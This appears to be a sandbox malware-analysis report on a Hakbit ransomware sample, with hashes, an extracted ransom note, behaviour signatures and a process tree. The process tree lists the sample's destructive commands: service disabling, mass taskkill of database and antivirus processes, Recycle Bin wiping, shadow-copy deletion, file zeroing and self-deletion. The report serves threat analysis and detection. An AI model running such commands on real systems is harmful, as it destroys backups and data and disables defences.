Resubmissions

11-09-2022 15:45

220911-s66x8sffap 10

21-10-2020 17:56

201021-l4bghzn2b2 10

Analysis

  • max time kernel
    136s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    21-10-2020 17:56

General

  • Target

    69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe

  • Size

    80KB

  • MD5

    8152a3d0d76f7e968597f4f834fdfa9d

  • SHA1

    c3cf05f3f79851d3c0d4266ab77c8e3e3f88c73e

  • SHA256

    69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b

  • SHA512

    eb1a18cb03131466a4152fa2f6874b70c760317148684ca9b95044e50dc9cd19316d6e68e680ce18599114ba73e75264de5dab5afe611165b9c6c0b5f01002b4

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt

Family

hakbit

Ransom Note
To recover your data contact the email below [email protected] Key Identifier: BlDLIs4wzgDoTYIEMMCvweBKQMXgNYDM9ggNJQgtZzjpRuLtkCHG5p7iVoU/LG9TeH623icJzMryxecZlwnGkjZNupY5CL6nC/En+NpYtGKgHgUR5ZL83odx4bFs/rF6ZxqWxrC8X9+JZ88sm/37IAb1dp9CnSae01HuaWsmD2gt/L34ysM/0bXFqMEKkmnCZFt0V1P3LpSMszf7XvRCUi/XW403bjsTv/HtW8wu/AtnvP49tu19hOuFbw8D4yhgMuD++XNq+gSl/uuewL2kBtMeZQeULo0Lpvc1AZ7GObTXObHBuvrxnrNjx3XCt9yEiLi2qkuX7wTrP+mtfvwOplEeRjffx5/oshpgrIf/AJuMOrfeHWW/SDmX4Va/e0d+800rY58aT04X6Vz39OUMh8rgB5q4IUqT8QWWv66Rh/hpjcjCqZSUFUZDZvwe1C0zChYOeSZSnl623VekCeq+YzSgwU3SdNrchIvwW4Ob/LsJ0qIeHN3mvVlyh2RH3mPdojiL6WJHEYR8oRyhC2aSvwGGYHAlrj8Hqg7+MAvCbhrOKLJE4VA2jkggkm3g3keytAlWafs0Udr/SO945dMPIigrzbrsQDvUFNTU4G0CXnsojb4wwRA9Qim8zH8OTJ6u3Bhg/Xt5VPWytqACHOK7s/PApIBsfcjeTrjhS6RHp1Y= Number of files that were processed is: 1230

Signatures

  • Hakbit

    Ransomware which encrypts files using AES, first seen in November 2019.

  • Modifies extensions of user files 1 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Drops startup file 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Kills process with taskkill 47 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 48 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
    "C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe"
    1⤵
    • Modifies extensions of user files
    • Drops startup file
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:3904
    • C:\Windows\SYSTEM32\sc.exe
      "sc.exe" config SQLTELEMETRY start= disabled
      2⤵
        PID:3924
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
        2⤵
          PID:2172
        • C:\Windows\SYSTEM32\sc.exe
          "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
          2⤵
            PID:3160
          • C:\Windows\SYSTEM32\sc.exe
            "sc.exe" config SQLWriter start= disabled
            2⤵
              PID:512
            • C:\Windows\SYSTEM32\sc.exe
              "sc.exe" config SstpSvc start= disabled
              2⤵
                PID:2976
              • C:\Windows\SYSTEM32\taskkill.exe
                "taskkill.exe" /IM mspub.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:820
              • C:\Windows\SYSTEM32\taskkill.exe
                "taskkill.exe" /IM mydesktopqos.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1060
              • C:\Windows\SYSTEM32\taskkill.exe
                "taskkill.exe" /IM mydesktopservice.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1192
              • C:\Windows\SYSTEM32\taskkill.exe
                "taskkill.exe" /IM mysqld.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1544
              • C:\Windows\SYSTEM32\taskkill.exe
                "taskkill.exe" /IM sqbcoreservice.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1892
              • C:\Windows\SYSTEM32\taskkill.exe
                "taskkill.exe" /IM firefoxconfig.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:2584
              • C:\Windows\SYSTEM32\taskkill.exe
                "taskkill.exe" /IM agntsvc.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:3216
              • C:\Windows\SYSTEM32\taskkill.exe
                "taskkill.exe" /IM thebat.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:3352
              • C:\Windows\SYSTEM32\taskkill.exe
                "taskkill.exe" /IM steam.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:2240
              • C:\Windows\SYSTEM32\taskkill.exe
                "taskkill.exe" /IM encsvc.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:3816
              • C:\Windows\SYSTEM32\taskkill.exe
                "taskkill.exe" /IM excel.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:2188
              • C:\Windows\SYSTEM32\taskkill.exe
                "taskkill.exe" /IM CNTAoSMgr.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1992
              • C:\Windows\SYSTEM32\taskkill.exe
                "taskkill.exe" /IM sqlwriter.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:2156
              • C:\Windows\SYSTEM32\taskkill.exe
                "taskkill.exe" /IM tbirdconfig.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:4124
              • C:\Windows\SYSTEM32\taskkill.exe
                "taskkill.exe" /IM dbeng50.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:4176
              • C:\Windows\SYSTEM32\taskkill.exe
                "taskkill.exe" /IM thebat64.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:4260
              • C:\Windows\SYSTEM32\taskkill.exe
                "taskkill.exe" /IM ocomm.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:4300
              • C:\Windows\SYSTEM32\taskkill.exe
                "taskkill.exe" /IM infopath.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:4400
              • C:\Windows\SYSTEM32\taskkill.exe
                "taskkill.exe" /IM mbamtray.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:4460
              • C:\Windows\SYSTEM32\taskkill.exe
                "taskkill.exe" /IM zoolz.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:4532
              • C:\Windows\SYSTEM32\taskkill.exe
                "taskkill.exe" IM thunderbird.exe /F
                2⤵
                • Kills process with taskkill
                PID:4560
              • C:\Windows\SYSTEM32\taskkill.exe
                "taskkill.exe" /IM dbsnmp.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:4600
              • C:\Windows\SYSTEM32\taskkill.exe
                "taskkill.exe" /IM xfssvccon.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:4632
              • C:\Windows\SYSTEM32\taskkill.exe
                "taskkill.exe" /IM mspub.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:4696
              • C:\Windows\SYSTEM32\taskkill.exe
                "taskkill.exe" /IM Ntrtscan.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:4820
              • C:\Windows\SYSTEM32\taskkill.exe
                "taskkill.exe" /IM isqlplussvc.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:4856
              • C:\Windows\SYSTEM32\taskkill.exe
                "taskkill.exe" /IM onenote.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:4888
              • C:\Windows\SYSTEM32\taskkill.exe
                "taskkill.exe" /IM PccNTMon.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:4944
              • C:\Windows\SYSTEM32\taskkill.exe
                "taskkill.exe" /IM msaccess.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:2532
              • C:\Windows\SYSTEM32\taskkill.exe
                "taskkill.exe" /IM outlook.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:4244
              • C:\Windows\SYSTEM32\taskkill.exe
                "taskkill.exe" /IM tmlisten.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1236
              • C:\Windows\SYSTEM32\taskkill.exe
                "taskkill.exe" /IM msftesql.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:4648
              • C:\Windows\SYSTEM32\taskkill.exe
                "taskkill.exe" /IM powerpnt.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:4848
              • C:\Windows\SYSTEM32\taskkill.exe
                "taskkill.exe" /IM mydesktopqos.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:4196
              • C:\Windows\SYSTEM32\taskkill.exe
                "taskkill.exe" /IM visio.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:644
              • C:\Windows\SYSTEM32\taskkill.exe
                "taskkill.exe" /IM mydesktopservice.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:5148
              • C:\Windows\SYSTEM32\taskkill.exe
                "taskkill.exe" /IM winword.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:5196
              • C:\Windows\SYSTEM32\taskkill.exe
                "taskkill.exe" /IM mysqld-nt.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:5224
              • C:\Windows\SYSTEM32\taskkill.exe
                "taskkill.exe" /IM wordpad.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:5256
              • C:\Windows\SYSTEM32\taskkill.exe
                "taskkill.exe" /IM mysqld-opt.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:5384
              • C:\Windows\SYSTEM32\taskkill.exe
                "taskkill.exe" /IM ocautoupds.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:5428
              • C:\Windows\SYSTEM32\taskkill.exe
                "taskkill.exe" /IM ocssd.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:5480
              • C:\Windows\SYSTEM32\taskkill.exe
                "taskkill.exe" /IM oracle.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:5524
              • C:\Windows\SYSTEM32\taskkill.exe
                "taskkill.exe" /IM sqlagent.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:5564
              • C:\Windows\SYSTEM32\taskkill.exe
                "taskkill.exe" /IM sqlbrowser.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:5588
              • C:\Windows\SYSTEM32\taskkill.exe
                "taskkill.exe" /IM sqlservr.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:5628
              • C:\Windows\SYSTEM32\taskkill.exe
                "taskkill.exe" /IM synctime.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:5676
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }
                2⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:5772
              • C:\Windows\System32\notepad.exe
                "C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt
                2⤵
                • Opens file in notepad (likely ransom note)
                • Suspicious use of FindShellTrayWindow
                PID:5964
              • C:\Windows\SYSTEM32\cmd.exe
                "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
                2⤵
                  PID:5764
                  • C:\Windows\system32\PING.EXE
                    ping 127.0.0.7 -n 3
                    3⤵
                    • Runs ping.exe
                    PID:5960
                  • C:\Windows\system32\fsutil.exe
                    fsutil file setZeroData offset=0 length=524288 “%s”
                    3⤵
                      PID:5488
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
                    2⤵
                      PID:5868
                      • C:\Windows\system32\choice.exe
                        choice /C Y /N /D Y /T 3
                        3⤵
                          PID:5980

                    Network

                    MITRE ATT&CK Enterprise v6

                    Replay Monitor

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                    Downloads

                    • memory/3904-1-0x0000000000980000-0x0000000000981000-memory.dmp

                      Filesize

                      4KB

                    • memory/3904-0-0x00007FF8E2780000-0x00007FF8E316C000-memory.dmp

                      Filesize

                      9.9MB

                    • memory/5772-58-0x000002455CCE0000-0x000002455CCE1000-memory.dmp

                      Filesize

                      4KB

                    • memory/5772-57-0x0000024541E40000-0x0000024541E41000-memory.dmp

                      Filesize

                      4KB

                    • memory/5772-56-0x00007FF8E2780000-0x00007FF8E316C000-memory.dmp

                      Filesize

                      9.9MB